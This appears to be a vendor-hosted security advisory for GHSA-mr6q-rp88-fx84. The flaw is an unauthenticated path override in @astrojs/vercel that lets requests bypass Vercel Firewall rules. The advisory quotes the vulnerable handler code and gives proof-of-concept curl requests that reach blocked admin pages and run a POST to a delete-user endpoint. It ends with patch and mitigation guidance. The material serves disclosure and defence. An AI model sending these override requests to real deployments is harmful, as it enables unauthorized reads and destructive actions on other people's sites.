GHSA-mr6q-rp88-fx84 is a medium-severity (CVSS 6.5) CWE-441 vulnerability in @astrojs/vercel. A fix is available for @astrojs/vercel — see the affected versions and patch details below.
Astro: Unauthenticated Path Override via `x-astro-path` / `x_astro_path`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-mr6q-rp88-fx84.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-mr6q-rp88-fx84 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@astrojs/vercelnpmDescription
Summary
The @astrojs/vercel serverless entrypoint reads the x-astro-path header and x_astro_path query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.
The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/* does nothing when the request comes in as POST /api/health?x_astro_path=/admin/delete-user.
Affected Versions
Verified against:
- Astro 5.18.1 + @astrojs/vercel 9.0.4 — GET and POST override both work. Full exploitation.
- Astro 6.0.3 + @astrojs/vercel 10.0.0 — GET override works. POST/DELETE hit a
duplexbug in the Request constructor (theduplex: 'half'option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passesbody: request.bodyand intends to preserve it. Once the missingduplexoption is added, all methods will be exploitable on v6 as well.
The vulnerable code path is identical across both versions.
Affected Component
- Package:
@astrojs/vercel - File:
packages/integrations/vercel/src/serverless/entrypoint.ts(lines 19–28) - Constants:
packages/integrations/vercel/src/index.ts(lines 44–45)
Vulnerable Code
The handler blindly trusts the caller-supplied path:
const realPath =
request.headers.get(ASTRO_PATH_HEADER) ??
url.searchParams.get(ASTRO_PATH_PARAM);
if (typeof realPath === 'string') {
url.pathname = realPath; // no validation, no auth
request = new Request(url.toString(), {
method: request.method, // preserved
headers: request.headers, // preserved
body: request.body, // preserved
});
}
What makes this worse is the inconsistency. x-astro-locals right below it is gated behind middlewareSecret, but x-astro-path gets nothing:
// x-astro-locals: protected
if (astroLocalsHeader) {
if (middlewareSecretHeader !== middlewareSecret) {
return new Response('Forbidden', { status: 403 });
}
locals = JSON.parse(astroLocalsHeader);
}
// x-astro-path: no equivalent check (lines 19-28 above)
Conditions
- Astro +
@astrojs/verceladapter output: 'server'(SSR)- No
src/middleware.tsdefined, or middleware not using Edge mode
This is a realistic production configuration. Middleware is optional and many deployments skip it.
The x-astro-path mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (_render) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.
Proof of Concept
Setup: minimal Astro SSR project on Vercel, no middleware. Routes: /public (page), /api/health (API endpoint), /admin/secret (page), /admin/delete-user (API endpoint). Vercel Firewall blocks /admin/*.
GET — page content override:
curl "https://target.vercel.app/public?x_astro_path=/admin/secret"
# Returns: PAGE_ID: admin-secret
GET — API route override:
curl "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"
# Returns: {"pageId":"admin-delete-user","message":"This is a protected admin API endpoint","method":"GET"}
Header override:
curl -H "x-astro-path: /admin/secret" https://target.vercel.app/public
# Returns: PAGE_ID: admin-secret
Vercel Firewall bypass (GET):
# Direct access — blocked
curl https://target.vercel.app/admin/secret
# Returns: Forbidden
# Via override — Firewall sees /public, serves /admin/secret
curl "https://target.vercel.app/public?x_astro_path=/admin/secret"
# Returns: PAGE_ID: admin-secret
Vercel Firewall bypass (POST) — verified on Astro 5.x:
# Direct access — blocked
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
https://target.vercel.app/admin/delete-user
# Returns: Forbidden
# Via override — Firewall sees /api/health, executes POST /admin/delete-user
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"
# Returns: {"action":"delete-user","status":"deleted","method":"POST"}
The Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.
ISR is not affected. Vercel's cache layer appears to intercept before the function runs.
Impact
Firewall/WAF bypass — read (Critical): Any path-based restriction in Vercel Dashboard or vercel.json (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.
Firewall/WAF bypass — write (Critical): POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated duplex bug in the Request constructor, not by any security check.
Audit log mismatch (Medium): Vercel logs record the original request path and query string (e.g. /public?x_astro_path=/admin/secret), so the override parameter is technically visible. However, the logged path (/public) does not reflect the path actually served (/admin/secret). Detecting this attack from logs requires knowing what x_astro_path means — standard monitoring and alerting based on request paths will not catch it.
Prior Art
CVE-2025-29927 (Next.js): x-middleware-subrequest header injectable by external clients, bypassing middleware. Same class of vulnerability.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @astrojs/vercel | all versions | 10.0.2npm install @astrojs/vercel@10.0.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @astrojs/vercel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @astrojs/vercel to 10.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mr6q-rp88-fx84 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-mr6q-rp88-fx84 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-mr6q-rp88-fx84. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mr6q-rp88-fx84 in your dependencies?
O3 Security finds GHSA-mr6q-rp88-fx84 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.